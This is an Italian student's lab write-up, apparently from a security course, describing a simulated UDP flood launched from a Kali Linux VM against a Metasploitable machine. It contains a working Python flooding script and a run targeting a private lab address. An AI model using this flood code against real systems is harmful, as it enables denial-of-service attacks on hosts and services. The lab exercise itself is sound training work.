

W7D5

Ilaria Pedrelli

UDP flood in python

Nell'esercizio ho simulato un attacco di tipo DDos dalla macchina virtuale Kali Linux a metasploitable

Nella prima figura la configurazione lato server:

```
GNU nano 7.2 DDoS.py
import socket
import random

msg = random._urandom(1024)
packets = int(input("inserisci il numero di pacchettin che vuoi inviare: "))
ip = str(input("insriscil'ip a cui vuoi inviare i pacchett: "))
port = int(input("insrisci il numero di porta: "))

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.connect((ip, port))
sent = 0

print(f"In ascolto sulla porta {port}")

while sent < packets:
    server_socket.sendto(msg,(ip,port))
    sent += 1
    print (f"il numero di pacchetti inviati equivalea: {sent}")

(kali@kali)-[~]
$ python DDoS.py
inserisci il numero di pacchettin che vuoi inviare: 1000
insriscil'ip a cui vuoi inviare i pacchett: 192.168.1.10
insrisci il numero di porta: █
```

Di seguito la risposta di metasploitable dopo il comando Netcat -l -u -p e numero di porta. Posso vedere inoltre lato server il numero di pacchetti inviati.

